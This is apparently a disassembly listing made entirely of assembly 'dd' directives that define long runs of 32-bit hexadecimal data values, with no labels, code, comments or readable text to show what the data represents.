		dd 90F7FE3Dh, 0B5D5BBA7h, 52975F16h, 0CC16BD6Ch, 95DCCC97h
		dd 5D7220FCh, 68418759h, 0A22B583Bh, 2C08D2C7h,	0C591691h
		dd 0F5C7D80Eh, 0FD79BC05h, 3CE8553Ch, 212E4920h, 774B3FF9h
		dd 19305A2h, 0A4BCE5FDh, 9F52F8Dh, 52384C4h, 0DDB05003h
		dd 9250C283h, 80F0F6E9h, 0D551ED27h, 63F7766Bh,	8F02E8D8h
		dd 0BF3FFBF7h, 0A378577Fh, 9EB31E49h, 0FAA14952h, 7983B43Bh
		dd 4391580Fh, 158EC54Eh
		dd 554BB198h, 0E22BBE23h, 0F05A1A21h, 6095D240h, 8A6863E3h
		dd 6E7A4C17h, 7F91756Bh, 0F8D5FEC2h, 0C029D56h,	62DD25BDh
		dd 990F84D1h, 0FDD68905h, 90CE8055h, 0BF59B62Bh, 233590D8h
		dd 55022B7Eh, 0C058C121h, 30F0F47Dh, 0ED580924h, 2A5B2864h
		dd 81EB03C5h, 2BB65E6Eh, 0B9F00E2h, 0B2DAE46Bh,	70DD7AC5h
		dd 2D55C401h, 0ED40383Fh, 5ACFBD60h, 83C4F307h,	29F69E9h
		dd 5BA5EB45h, 0AB7D01B4h, 0CFCD5532h, 22DBE985h, 0B950BFD3h
		dd 0D02EAEBAh, 0D11FB8A8h, 11ECB64Eh, 12F00935h, 0E05D93E1h
		dd 0EA336BFh, 1287413Fh, 89AFD5F7h, 68A9E5DEh, 4CBE387Eh
		dd 4634C121h, 947B59B2h, 680802AEh, 667F09FFh, 452966Ah
		dd 0BF3E5637h, 8BEB0462h, 0B34A770Ch, 0D9B0CC50h, 4AA0A89Ah
		dd 0D4826C6Fh, 96F5259Fh, 0AF874F60h, 84FFB052h, 0C97EF23h
		dd 9063C9F2h, 253A09AFh, 3F725AECh, 8CE90880h, 6B32E24Ah
		dd 13D078E4h, 0A8D8F75Eh, 4077075Ah, 0EAF242C6h, 0C1ACCA90h
		dd 61A70FB8h, 4C3D02D4h, 85D2273Fh, 0BA094399h,	92EE5136h
		dd 0D8A2AE66h, 0E7DD0128h, 3400AFEh, 23424F28h,	843B1812h
		dd 1C5C0A9h, 0D8E7BBDAh, 8BADDB85h, 688061B8h, 1F242D9Ah
		dd 6438E1E6h, 0BFDF0193h, 0F91CCF09h, 37583F41h, 4C875F36h
		dd 8057FCFEh, 0BD40E624h, 13AFF280h, 0D121BF07h, 2495A3Dh
		dd 8D0812C9h, 11F3C04Ch, 93DBBC9Dh, 51A5EDC6h, 0B1953E29h
		dd 425209BFh, 1FB7D6A0h, 5B48FD28h, 14855E4Eh, 0F88AB295h
		dd 0D7350E92h, 0BEA3566Eh, 29CB4769h, 0F4F0AED5h, 59313FCFh
		dd 50870F4Ah, 4D45B8E3h, 2E81213h, 5F722909h, 19428714h
		dd 0FEEDFA0Bh, 0FBDE3360h, 10D577EDh, 800FDA6Ah, 0C10E14C4h
		dd 0B431EE72h, 0F37F3A70h, 0FF8E9356h, 0E95B494Dh, 4C494CB9h
		dd 0CF1024C0h, 1A7AF582h, 0FA435542h, 83F3C59Ch, 984EF88Eh
		dd 540101C2h, 5C6E1608h, 2FA0C20Ch, 0D2C14654h,	0FE07442Dh
		dd 0F56A83B4h, 0F2E60A4h, 482E13B0h, 0CE39ABB7h, 1612613Ah
		dd 44BB00D3h, 0A04AE21Ah, 7F6467D6h, 0BA589F6Ah, 0BFD99EA0h
		dd 181151C0h, 395E20E2h, 1609BB59h, 0DA00621Bh,	4BA436FEh
		dd 55C32927h, 0DBF98E8h, 33656826h, 533FF702h, 7F7BC1C5h
		dd 5A5216EFh, 0B243EF51h, 0F1D928E3h, 0BD2A8384h, 1451009Ch
		dd 0E3814778h, 0C74C18DFh, 62C4A62Ch, 5D977DE6h, 12C47EAAh
		dd 0F8745699h, 97135593h, 4FE897C2h, 0F829BF4Eh, 0C150B7FDh
		dd 0B65FF929h, 5C15C06Ah, 80907BAEh, 0D954BF12h, 2C52BB04h
		dd 0F1765514h, 0CC3F02E5h, 3041058Dh, 0B13CA07Bh, 0A7AA1A3Dh
		dd 0DF120B61h, 0A9B5F3B0h, 25F52980h, 52F4C581h, 0FD015E81h
		dd 0A42F6850h, 0D8B55861h, 0B3AC202Bh, 0D8BA5200h, 89E5A5C7h
		dd 0B5999AD3h, 60170FD1h, 9F2D9CE0h, 642D46E5h,	0D15B48CCh
		dd 25D2CAB7h, 6BF45BE2h, 7CB89E4Ch, 0E3775C06h,	841A14Ch
		dd 10F8A22Bh, 0B400BE92h, 7E4C01Bh, 0B190D4F6h,	0E530660Bh
		dd 0A06B8058h, 0E4E88850h, 3888F3C6h, 0BD0FEE6Dh, 3DD5C7F2h
		dd 0F7E172A2h, 681269CEh, 1BCB1E91h, 0B9E92912h, 519984BEh
		dd 0CBCBC252h, 65FA80DDh, 801B2F23h, 0B3206068h, 1CA50B30h
		dd 6B852E35h, 10D9417h,	9977C88Fh, 2AD1F18Bh, 0AFBB7140h
		dd 0DF3F5B5Ah, 0B4778452h, 66040267h, 0E2E0D522h, 19111D63h
		dd 0E32C2961h, 79F0B26h, 5E33977Ch, 690C9B0h, 16519F60h
		dd 0A374A868h, 65CB10EEh, 0CDD5011Dh, 20830418h, 6C9164C2h
		dd 271E68A5h, 29B7267Dh, 0AE97167Bh, 0E1EE5125h, 1757EC9Ch
		dd 0BDAF469Dh, 0EAB9A540h, 261F5B12h, 4AF77CB0h, 0F082D6D1h
		dd 0C2059A0Fh, 0EB007337h, 880F99CBh, 0DBF73673h, 0C20142CEh
		dd 0E978A721h, 0DE516F7Dh, 3F318CC3h, 9F30C541h, 0DE87BF05h
		dd 62DBD8F6h, 0F62E1EDEh, 535D4009h, 12F6B297h,	30A2CE1h
		dd 7DB551CBh, 0FCC0FC10h, 0F7FBD25h, 74BF4430h,	2A1ADDFAh
		dd 5E02B383h, 0BD03348Fh, 3CD091C8h, 97CFDAC3h,	22F55C2Dh
		dd 6AEACD23h, 0C42F5DBh, 0FAC2DB42h, 34AC6E76h,	1F8B752Fh
		dd 0D4084674h, 9112818h, 0EB88E28h, 0C5E18FD7h,	0E6AAFDA4h
		dd 357713CAh, 0D6BF6F94h, 0DB2ECD18h, 5A6183B2h, 22B86852h
		dd 0B73DAF5Fh, 0BA8A2930h, 208FA4D9h, 0B70B85CBh, 84CFFE47h
		dd 0BB0E8CE4h, 26692286h, 640D4B4Bh, 297A395Ah,	79DE3FD0h
		dd 4A74BA4Eh, 2C22998h,	34D308D5h, 8E88CA29h, 7BC92708h
		dd 0FA843F04h, 0B7F400FCh, 0E9DA0B03h, 58D4A055h, 75DD885Ah
		dd 0D5F62D5Bh, 315C4441h, 68F8DB44h, 2FA80609h,	20FD18B2h
		dd 6240ABB3h, 2BBA1D66h, 709C3237h, 277EE42h, 0DB329E9Dh
		dd 148789BCh, 7D6945FEh, 0B41C74D9h, 5D1419A4h,	0AF0F0613h
		dd 441E51C8h, 559F5BA5h, 65FD4A0h, 0CC71DE8h, 338F9D05h
		dd 0C70F7385h, 5E9AE5D4h, 5B812EAh, 157FFDCh, 0F123A2CFh
		dd 4AC44037h, 4367F413h, 0E5A0DF0Ch, 4F34E94Ch,	68617035h
		dd 0AAA64E22h, 50FFCC9Fh, 61FAA91h, 78AA73BBh, 0B11296E0h
		dd 380F5C3Fh, 2360A0EBh, 1BE560Ch, 61AB4770h, 3AB64EE9h
		dd 0F0944737h, 0B052F5A0h, 0FB713F52h, 3D5E4FF8h, 0B5E62C81h
		dd 0A640C009h, 72DB15h,	5D9052E5h, 92AFF681h, 70B02B27h
		dd 16579575h, 0CB092724h, 0E94B105Dh, 0AFF44B5Ch, 0AB43D0C9h
		dd 0DF8DAA11h, 3005728Bh, 1954F9FBh, 981055E6h,	20968604h
		dd 0FF8278FCh, 79BC86Bh, 61463D9h, 3EFB0B9Ch, 0B95C7953h
		dd 0BAF84234h, 62C6A15Bh, 5859CC50h, 255494F7h,	0BE0CE1E6h
		dd 0F45A652Bh, 424BBEC6h, 0CF54E02Ah, 0C4B5C565h, 632F1F64h
		dd 0D6EB8FF5h, 72C8DDDAh, 3B266246h, 6412963Ch,	0EF6465FEh
		dd 5142CDA6h, 9B7D5E2Dh, 0BB0FA34h, 0D08315Ch, 1CF0278Eh
		dd 0B3328B8h, 0B9FB1595h, 0B37A3BE5h, 5CE24B19h, 9362A8C6h
		dd 565BD927h, 0DAEB9018h, 49C77734h, 0F18BAB0Ch, 0CDC809EAh
		dd 0F7A20D87h, 0E7E15F09h, 4505DADDh, 0D1B69C0h, 61A76358h
		dd 0FA90D387h, 0E912D7F7h, 0ABF35BD0h, 500EE310h, 4A004240h
		dd 0C8E68112h, 0B1DE125h, 0B37BE951h, 70C28B7Ch, 639CF715h
		dd 0ECC5DEA1h, 82BF4154h, 9AD60200h, 85FF89E6h,	89123098h
		dd 3021C7B5h, 5AF5E42Bh, 0BA4E4392h, 68C257E9h,	89A31235h
		dd 98713DAh, 871D73E5h,	0E9784364h, 5884B598h, 0E1E2EE53h
		dd 0DE6CF992h, 2CEAC313h, 1BB5503Dh, 239B6DAh, 73A16C34h
		dd 6892D58h, 0B8CC5FDh,	0E6A6C289h, 74096258h, 10E6F5Fh
		dd 82752166h, 3F17D6DAh, 1CA00851h, 50678914h, 20DC0BE6h
		dd 0B814540Fh, 257C260Ch, 547046BAh, 6ACB6815h,	0D3D83A9Bh
		dd 0DBC45FC6h, 0AC02B70Ah, 785A6884h, 90C5C0BCh, 6A35FE33h
		dd 503ED0AEh, 6012FC68h, 0D1EC2D0Eh, 0B485483Ah, 0E9927F4Dh
		dd 3521202h, 784DD9AAh,	0E68D8486h, 6C004A09h, 0D91AB7A0h
		dd 0F9D6292Dh, 16F4690Eh, 0E9118801h, 5A342F8Bh, 565814C1h
		dd 0D1D213BEh, 27F02167h, 4FD25EF1h, 0F8F14B30h, 27E92877h
		dd 0FE453C91h, 1B79A53Dh, 0FEEDD963h, 0C12EA049h, 3AE016C3h
		dd 401EAA28h, 0D45FB777h, 1A48D6B8h, 0AFFEE813h, 0C6483F2Dh
		dd 5BEE403Bh, 339407ECh, 2FDCD42Dh, 0DB733CFAh,	0F7EC6BEAh
		dd 1CFE71BFh, 0BF8128Bh, 5EC6949Fh, 5761B669h, 0ADB03490h
		dd 383457D6h, 76E0E600h, 5EE941C2h, 5D8A1DE2h, 0F3B074BDh
		dd 0B778486h, 7DC76803h, 0E2B00B2Dh, 35AF9CA5h,	0EA51FAE9h
		dd 0E916DBCEh, 0FBA452B9h
		dd 0BF3D728Bh, 52EB1F60h, 3048097Dh, 9FE302A1h,	0D5349A7Ah
		dd 30C8F72h, 31B1BAE9h,	33B513EAh, 70940458h, 1AFB1D4Eh
		dd 0D590FDB0h, 0CF1A7CF8h, 5FCE7950h, 3915CB61h, 27F30181h
		dd 56320806h, 971CE96Ah, 42F74549h, 86FA75A7h, 0BDF11D60h
		dd 4EEB5443h, 0DD60BE23h, 2F02F83Dh, 817D0540h,	15EBE909h
		dd 0A4C834h, 81C55EB1h,	5B2F5AC7h, 0CD37058h, 4518A1E9h
		dd 0DF5E09F2h, 0BD80D452h, 0E7108B1h, 0E6017ABDh, 0A537139Fh
		dd 4156B902h, 171CA008h, 3C875A12h, 0E9E638EAh,	8B136AE1h
		dd 66B186ECh, 82443FD3h, 0F01FE4A6h, 0B5671068h, 310C0E60h
		dd 0C12FCB39h, 0E82B8774h, 0EEF13113h, 93861C5Dh, 16D92FAFh
		dd 3745F525h, 0DBF77589h, 41F7A51Eh, 0C46259B0h, 0DEEF52CFh
		dd 0DCE9F0E1h, 487333Ah, 40CA6851h, 407B38B3h, 0FE07BD49h
		dd 31E35D88h, 56EB59BAh, 89440BA3h, 1D54BD46h, 0E1266889h
		dd 0F56BAB3Ch, 0FC305FCDh, 1D8442Bh, 82E1810Ah,	8268964Fh
		dd 3A630F0Ch, 0F660DD12h, 0D05DB4E9h, 54012D53h, 0E70D4960h
		dd 7662778h, 5A66D030h,	70C2C345h, 13DFF2B2h, 0AFF42F44h
		dd 890F5C0Eh, 0B300F579h, 704957F0h, 61EDE927h,	9421C067h
		dd 0FE203A21h, 58ABA63Eh, 631248B4h, 4AF2EF0Ah,	3AF788A1h
		dd 225F8D91h, 71D50101h, 7D5C7967h, 4FC06DE0h, 0E148B5C5h
		dd 4D1AF67Ch, 0AC4B6019h, 84E1F28h, 223513BEh, 0BBC44FFCh
		dd 0F4800330h, 0DAF88555h, 608C266h, 0A2EC027Dh, 29C2E918h
		dd 1756E669h, 804A4340h, 441ACE3Fh, 0D157AF1Ah,	5E6551Ch
		dd 7C1E918h, 2712F6E3h,	0C4758046h, 3E91357h, 9364FA19h
		dd 0A137ADAEh, 0E46BC331h, 0BB41FAAEh, 8B70C83Ah, 6E9F95B0h
		dd 411298DEh, 2F04ED3Bh, 22204A7h, 58EE8100h, 13CD827h
		dd 0B85000DEh, 70A2309Ch, 234A4335h, 87000DACh,	0E9C6EBECh
		dd 59B5A83Eh, 0BF57C045h, 0FD3E33EDh, 6E454C40h, 50FB890Dh
		dd 0CC5A504Fh, 9D4B1857h, 5DBF6C3Eh, 7776EB25h,	0BB61B98Eh
		dd 3A1B89BAh, 968B65E3h, 0E9562780h, 56B12BD3h,	0F550AA03h
		dd 87B2F702h, 7B0CC3CBh, 0E296941Ah, 8002F46Eh,	0F3DFC1EEh
		dd 182C2AE9h, 2D5A5016h, 0B14415BFh, 90A22BF7h,	0B4B6E093h
		dd 536C4118h, 9C362E3h,	3E2C105h, 42DA1902h, 0AB9A36C0h
		dd 317E7817h, 88C7C3A0h, 374BC5E9h, 0BCAF2594h,	7E47476Ch
		dd 28EB5833h, 2D91795Ch, 937ACC39h, 82060269h, 9F7C339h
		dd 5D6A1A09h, 96775A5Fh, 205A986Ch, 0D25F65C7h,	4FC15980h
		dd 85225EEEh, 8890FB06h, 58E41606h, 2A5E6B38h, 2C4B747Ch
		dd 0C7B8ABAh, 0C9014F68h, 5B3BCFF2h, 0BC64C52Ch, 15754914h
		dd 0C0A25FA1h, 0C6E86227h, 44BF02E8h, 48E7301Bh, 57843518h
		dd 0D16037Ah, 601F7645h, 624B11D3h, 4FAF83C1h, 0CC264A68h
		dd 96E6CF85h, 737C78BFh, 0E329BD58h, 865CF75h, 6603C996h
		dd 0C927CB68h, 292F2CCEh, 6ECA6FD9h, 0CFB05000h, 0D3F6D886h
		dd 5F19C2C9h, 91F40C18h, 69705381h, 1AE9440h, 0F877E235h
		dd 6043F25h, 0FC13C2D9h, 0D6A65E0Bh, 0E68BAB96h, 0B9C1B85Bh
		dd 68A0813Ch, 0DDA9616Dh, 56BA648Eh, 0FA5F90C4h, 0EF2A3489h
		dd 4EB5A53h, 0E31B6C34h, 17607C73h, 0BE6B45D5h,	6BDA986Dh
		dd 0C8DF40FFh, 0B654447Ah, 0DE9B42A1h, 3EFAD05h, 117E57A7h
		dd 810813E1h, 347BC9C1h, 0F8EC1716h, 0B92EC19Eh, 0E83313EFh
		dd 2C1F2DBDh, 0E5C93F15h, 3618D5BAh, 45C01145h,	7B2CDAEEh
		dd 7E0CC137h, 2E46397Ch, 0B8926CADh, 0DCEE2EFBh, 513A182h
		dd 1B9C235Fh, 4F7F6479h, 0C4E83FE3h, 2E8F55B1h,	0AF393DFAh
		dd 80D501FCh, 4EA597F5h, 0E0817CE1h, 0A40C33C5h, 40524540h
		dd 0B5B78DBh, 84F9E9CEh, 450E83A9h, 51DE3860h, 2505E0D1h
		dd 681C23C2h, 12258BEBh, 3DB84798h, 4878CAC9h, 0D5A72396h
		dd 18BAB95h, 0DF27B2C7h, 0C11EEE16h, 0C89210E8h, 4D57A116h
		dd 2D2D8BAh, 46F6074Ah,	36C37C4h, 0C250EAD1h, 0F7F4CCh
		dd 0C380B5B3h, 18246801h, 0AEC43942h, 0E92BE9A1h, 3144A49Bh
		dd 5F0B0674h, 12FA1E5Dh, 0AB300E68h, 0B92B8E3Dh, 551D897Bh
		dd 0A82047C6h, 0BC0B737h, 555E57A4h, 0E93E23FFh, 9C0ABAFCh
		dd 6147255Ch, 6A0C32D2h, 0A3E86B3Ch, 89094C31h,	0AB504F7Bh
		dd 2820B1C9h, 0E1CFD640h, 16496E15h, 0B37AF555h, 0C40BBB90h
		dd 0F019908h, 52DEA466h, 0AF9177ABh, 287C4A89h,	89929823h
		dd 0C9B2D384h, 0D31509D6h, 0EA5176DCh, 56A69128h, 0D6700E07h
		dd 4576E975h, 0BFEB5F9Fh, 0D55E700Bh, 5349BACEh, 4D20933Bh
		dd 9C1001E9h, 0CE28E2BAh, 7B056257h, 0AEF869A6h, 2C622EA1h
		dd 0C65325D8h, 0B5C5B5F5h, 0B092452Ch, 0C65BA2EEh, 0C1B5D5Fh
		dd 4ADD68C1h, 99FA919h,	0B8367F41h, 86A3E92Fh, 0F2FD5856h
		dd 0BE73FFB5h, 9DE17178h, 8D0D2390h, 661C0717h,	30327B9h
		dd 460C835h, 2C3905D0h,	8A7EBE3Ah, 0EC72ED13h, 374908h
		dd 6807EFC1h, 989D6240h, 2E534FEAh, 13336999h, 0EB99949Ah
		dd 64597592h, 9C5B5802h, 54E6E9B1h, 0D51187C5h,	47B5BFEFh
		dd 326A06F9h, 40D4EB46h, 4E8BA42h, 0FEECAB2Dh, 0F67E824Eh
		dd 0BD26DDD6h, 9463C00Ch, 95F8248h, 51BFC0E9h, 0B3F51EB5h
		dd 0E19C8DDAh, 2036014h, 78DE4771h, 5B6FAFCh, 629AF96Bh
		dd 0E22DEB54h, 0C1C70FE0h, 605DBA10h, 0ED4AEDD2h, 0CBC56A76h
		dd 0EC7EDACAh, 0E87ED3DDh, 6E2E1346h, 5F84BFC8h, 0DD00C2C8h
		dd 0A4FAEE25h, 1F4B0FCEh, 0BAE8BEEh, 0D15FC168h, 70D38908h
		dd 0BF019EDDh, 0C740B42h, 0BB96DF2Dh, 0DD54B0C9h, 0CB3C6FE4h
		dd 959F7920h, 28802FD8h, 6AEA8033h, 0C0E2D01Dh,	0C2FE0742h
		dd 0C5C48066h, 3059B450h, 0E904DCF6h, 99B57912h, 0E2354C4Ah
		dd 0C0DDFCh, 0B25207EDh, 22F280A2h, 0D388531Fh,	0DA3D74B9h
		dd 0BEC2895Bh, 252CD030h, 1AB5991h, 2E8F9357h, 898B3128h
		dd 992BD8E9h, 9EF31CDFh, 0CE010902h, 257435FCh,	0E2635CE9h
		dd 13A7FECDh, 0BBB46E48h, 1C9EC166h, 254BD068h,	5DBE32F7h
		dd 8A6871B0h, 0D9EC784Fh, 0EC77C8C4h, 61B2C0A0h, 558305Ah
		dd 0B10AA3BBh, 3E90BA22h, 483BCFCBh, 3D1293FDh,	93204EBh
		dd 602699C2h, 6600EE16h, 0FE051884h, 552E779h, 2A412C25h
		dd 0B0B9825Ch, 82E92B74h, 4562B2Dh, 0C980AA5Dh,	1F68727Ch
		dd 474DB927h, 5E9548Fh,	2F75C976h, 9A5A9E52h, 55E7784h
		dd 587AE9F0h, 7E813991h, 3153AA52h, 0D4BF322h, 0AF4041ACh
		dd 866C2720h, 3CE02800h, 0E912652Dh, 13A3E85Ah,	178DF61Ch
		dd 8858AB80h, 12C5A2Eh,	970567DAh, 9C16F020h, 34DED450h
		dd 0F0D6E909h, 0A25A5BC7h, 0D5311CDFh, 10E2EA99h, 5EB4917Bh
		dd 4BBE2D49h, 0BB0D8AC0h, 0E47EB011h, 0C2DF76A3h, 0D6015D36h
		dd 0DD6BC451h, 194125B2h, 6E469E8h, 84456AC5h, 0ABBA16FCh
		dd 0AF25132Eh, 67D2A5F0h, 503F7442h, 64E91F70h,	0C2F56CF7h
		dd 64FEDAE7h, 0FC5B4C02h, 403CF826h, 4091184Eh,	85BF82D2h
		dd 5491EEE3h, 2A197301h, 0E10DFF6h, 0B9127E03h,	0CFEFC22Ch
		dd 0B7E90BE0h, 7720122Eh, 509044F0h, 0C0A64E20h, 451A1C7Eh
		dd 0CF09054Bh, 29023E35h, 0A008E868h, 8371C221h, 3B60B753h
		dd 0C73D80E7h, 392C38A3h, 5B4BF4F8h, 418CCBE4h,	629C00BCh
		dd 6617F75Fh, 57AFBE56h, 35DBC70Ah, 8F5782D5h, 66EF1A5Ch
		dd 217AC69h, 0E4E887F6h, 4AF7053Eh, 6807DD66h, 6804188Eh
		dd 0ED8C48FDh, 34534956h
		dd 659B3E0Bh, 2540D580h, 7A0136FCh, 39DA0D45h, 932037B6h
		dd 6B3F1259h, 359FC341h, 0FCAC88C8h, 0F7EDE92Dh, 0DEC4DE84h
		dd 0C5E90CCAh, 0BC61F0Bh, 0DEE34065h, 5C7BC9D5h, 0C9673C25h
		dd 855DE91Ch, 0B2FEFF2Dh, 980B1750h, 876737D1h,	0E8F1647Bh
		dd 1516724Ch, 15C04655h, 1262A25Ah, 0AE6C73E9h,	7EB2C977h
		dd 0C535E621h, 0C3810206h, 6D8B2855h, 97260C38h, 5CE13FB8h
		dd 7464FD40h, 0ADC4A0E7h, 0DAEAB727h, 0EC26BA02h, 363CB800h
		dd 861C60C0h, 607A0C7Ch, 0B9828FA0h, 9598418h, 0C22B6130h
		dd 0F6E8B240h, 85140FE0h, 17A18BAAh, 6E700E68h,	2AE9692Ch
		dd 2CF10750h, 6BC0128Dh, 79963D02h, 1641EF5h, 0FEF2B050h
		dd 6482E9C0h, 0CF4F8938h, 0C7BFC312h, 0BAC36429h, 0FF4A35A2h
		dd 0B2E94105h, 552400A8h, 3D81B911h, 2AF7BD01h,	83DE4179h
		dd 82977EB4h, 15F03C21h, 0C1DFB132h, 3D1C7EEDh,	0C4503E7Bh
		dd 4A4B5A08h, 0BE76604Ch, 4D641696h, 4056B865h,	730AFBC4h
		dd 0D44F221Ch, 45587D02h, 54E6AF1Ah, 7E3600BDh,	0E6811159h
		dd 293012D1h, 9A9A0165h, 3006A119h, 4D3F5BADh, 3CFC60C8h
		dd 1238E129h, 13F6F4E9h, 0EDF2AA3Dh, 0D0D889C4h, 0A29C655h
		dd 685993A0h, 0F13A882Dh, 25AE6C5Fh, 1D065205h,	0E5EAC8E9h
		dd 16CBF06Eh, 942D020Fh, 54242B72h, 9707201Dh, 59B13A00h
		dd 0FDDB3642h, 0FBC80607h, 0C3ABB1Fh, 61771E01h, 0FDF1E90Dh
		dd 0CFF76Fh, 0E1685251h, 0B073330Ah, 0C15C7F1Eh, 1FD8CEC5h
		dd 0D003F3EAh, 21F06E78h, 485E9889h, 28A9092Dh,	205508BDh
		dd 0B7523506h, 0F10D5B39h, 57CE6E0Eh, 19FEB4Dh,	0F76616F1h
		dd 0D0843A5Dh, 27AE4180h, 313A7852h, 0F7B22468h, 6C1E7D3h
		dd 0C19D83E1h, 84253717h, 185ED4EFh, 13064208h,	582BBD2Dh
		dd 3082E36Dh, 0BF0EA5F0h, 9602AF8Bh, 28750836h,	0E9090866h
		dd 0FBA4D5F0h, 0F1E3FFA7h, 87E1C92Eh, 3B62B3B9h, 0EE4A3902h
		dd 54F2C56h, 49BEFBBEh,	0C25D2DB2h, 27096444h, 0B79E63DAh
		dd 0AA94F595h, 8950F49Dh, 51FAF387h, 1E7E4CEAh,	32B0355Fh
		dd 8A534A59h, 1E0F5077h, 76E43214h, 755D09E5h, 4B330E14h
		dd 66B81999h, 90ABFC3Ah, 41BB009Eh, 5E95F0Dh, 9CDB336h
		dd 504E4C6Dh, 806462F6h, 0A680C117h, 0F9296638h, 8176361h
		dd 575D5AD2h, 41EBBC5Eh, 0A63B1114h, 0CA885E52h, 0B105055Fh
		dd 0BB691A67h, 70B8284h, 3096C659h, 0E287FC02h,	0B62C2C2Eh
		dd 0B310E426h, 768DB902h, 0D2DE6CE8h, 17E27208h, 43CEEA58h
		dd 42891B58h, 0BB81F6D1h, 30131E8Ch, 3E2C44F5h,	10B0049Eh
		dd 2016BF14h, 841D260Bh, 0CCBFA250h, 432CE93Eh,	75497921h
		dd 62E77BD0h, 21386E89h, 57074112h, 0BD6C6920h,	875EC7A7h
		dd 0E032C9F8h, 7A368549h, 6F4185A7h, 8A285960h,	2FB265F7h
		dd 86AC9865h, 507BE989h, 0B25E5F80h, 88AF930Fh,	0D6491179h
		dd 0B6EF03C8h, 0DAB7CAB8h, 1BF728Fh, 0DD205C5h,	0A5EE01AEh
		dd 48546158h, 0FA5774D9h, 20E8C7D4h, 0DC27A107h, 84FB947Ch
		dd 0AE0817CBh, 2617F6CBh, 42DBE55Bh, 0ED7417AEh, 0C98C7969h
		dd 2C730055h, 820FB21Ch, 94AE83D7h, 974CBE37h, 4E2029F8h
		dd 0C68005C3h, 0E2F320CAh, 85BD9F5Ah, 9FE95172h, 0E5936AF1h
		dd 9EDF0EFh, 7927D77Eh,	0C5B37F15h, 7DB6BE13h, 87065EB2h
		dd 8D1F7CFh, 0FBC6A2BDh, 68ECB042h, 53769D29h, 0D15F5443h
		dd 0F72E1175h, 1B405E24h, 657135E8h, 7C1225E9h,	430AEDE5h
		dd 0C58EDFE8h, 0A251C644h, 685D09C4h, 965D58E3h, 5B8EB01Fh
		dd 5553228Fh, 5678FC55h, 4AE5B3D0h, 4AD8CFABh, 84C774FBh
		dd 4A38ACC3h, 7F1A2DFFh, 0C6B14CBCh, 0B8D881D4h, 36954382h
		dd 71CA86Ah, 29B02105h,	708BE932h, 97F2EE18h, 0B5507076h
		dd 1949E247h, 50E233E9h, 3F0F7B66h, 9607D3CBh, 0E500C4B4h
		dd 0FFD52858h, 974F5160h, 9D09785Ah, 0D57A1343h, 135EC584h
		dd 3060DBF5h, 3D725C80h, 42CB8103h, 6C15606Ah, 2D539EDh
		dd 80D858F2h, 2857DC7Dh, 0DCA3351Bh, 75ED068Ah,	80060CE0h
		dd 586620C3h, 0E1645892h, 5544E637h, 53854341h,	3EEAFAB3h
		dd 0DF9DAF70h, 27894DABh, 2CA29546h, 7EE5CA40h,	84EB8BC7h
		dd 89126127h, 0C1AB61DFh, 2E0C000h, 7EDD70C9h, 62415A19h
		dd 2E1135E8h, 680E70FDh, 0BA134B92h, 0A79656A3h, 0C821C4FBh
		dd 5481C7FCh, 342BC7E9h, 1B134BF3h, 0F0AB17B3h,	31B80361h
		dd 21C46EC7h, 73A2C967h, 21E077B8h, 38CE58D2h, 0BAC9BDF6h
		dd 7B9590B9h, 1DEF0C79h, 0E90B7DBFh, 0BED55929h, 1A213B09h
		dd 1FABDD8Fh, 81381E7Fh, 0D2048C99h, 0F5824184h, 46DFC488h
		dd 0D36B341Dh, 64DAAB60h, 0D0ACE45Ah, 31E1CF9Ah, 0D40FE09Dh
		dd 0C9277997h, 207784D5h, 2AB91258h, 54610516h,	4F5AD802h
		dd 0BAB7E097h, 0F8141384h, 0FFAD087Bh, 9E685B02h, 978B4C17h
		dd 769676FAh, 160DB2Dh,	27C47EDh, 0F2E32F5Eh, 35062910h
		dd 2701345Dh, 39A727D5h, 0B4F43220h, 7E5DD2F8h,	6E2C4060h
		dd 609720C9h, 804B17CEh, 6C5F1D68h, 54CF5B31h, 84E7BC04h
		dd 6807D2BFh, 0FF129E36h, 0E65EB8CEh, 3AD516FEh, 95BAA9C8h
		dd 0B770BDFh, 9C3175EDh, 7982875h, 66F7885Ah, 0D4B15140h
		dd 0A5C92E80h, 726015B8h, 0C03C5A78h, 3D27B832h, 13209A3Dh
		dd 0C7E3DEF2h, 8910FD3Dh, 0F8280091h, 0B5517F2Ch, 0F254FEC9h
		dd 5E5F90E8h, 7A28456Eh, 2B884472h, 0C69BA820h,	211BBFF4h
		dd 9CA8719Ch, 0B579AA20h, 8239EC5Ch, 40F117E5h,	7CD4814Bh
		dd 29C8478Ch, 895B2CDDh, 97602F0Dh, 531EBF68h, 0F56D4966h
		dd 0ED7F1E29h, 63056085h, 525AF007h, 74129E8h, 0EC1E347Ah
		dd 45E9C2F2h, 0F952D77Ah, 22EB8335h, 5E110283h,	4BDFB9EDh
		dd 2F6E69EBh, 0D1B05104h, 0F71348E8h, 71CB8DAh,	8D9ACEF0h
		dd 550977F2h, 0D5105A22h, 496FC621h, 82841D7Eh,	752A9AD3h
		dd 0E9C682FDh, 321FCC4h, 4C3B6855h, 13A7B51Eh, 29AA5EFEh
		dd 345EFD81h, 931F2D93h, 78EF3BC1h, 0BA29514Dh,	5EE9F3CCh
		dd 87D9A43Ah, 7FC1616h,	0AD5EDFFDh, 3473EE1h, 0D3E97713h
		dd 0BFB900C4h, 346D115Dh, 0B09F781h, 571FA95Eh,	0B1D4CF09h
		dd 0C44F5683h, 0AFCE5F2Bh, 50CD4049h, 6EC4BDBCh, 23A46851h
		dd 7C552D7Ch, 0FD29D857h, 33345F5Fh, 1BF444ABh,	1CE93126h
		dd 0BB6B843Ah, 9FB4B861h, 12E9B960h, 0BAFEDFE6h, 5922698Ah
		dd 0F258E912h, 0A7EAC352h, 0EF15815h, 924CCA08h, 44A277B8h
		dd 8186C6FFh, 0A73380C6h, 0F1F6C7D8h, 0CC4A9FB2h, 0F2C1B588h
		dd 49522D8Bh, 3074CD8h,	0D1312514h, 1608CA26h, 901EBBE9h
		dd 0E42AA0CFh, 0C0C2494Fh, 97807F31h, 0EA0F8BF5h, 20001C4Ch
		dd 0A0681270h, 0DCDBAE1Ah, 578F004h, 23A9C235h,	4162DD7Ch
		dd 47595742h, 17DDC902h, 194BFF6Eh, 0B6617BC0h,	0E9042190h
		dd 0F03FDA94h, 6BAE46FBh, 0EF5EB316h, 0D38E1EAAh, 883244EAh
		dd 0B2A7ACD3h, 402862C0h, 0B808F58h, 0EB20E2EDh, 112A656h
		dd 0B573F4BFh, 84B65217h, 28296103h, 9D1675F3h,	7F5927Dh
		dd 1F0393AEh, 8FA23406h, 0FD84AB0Dh, 0FC96D9EEh, 0FF4833DFh
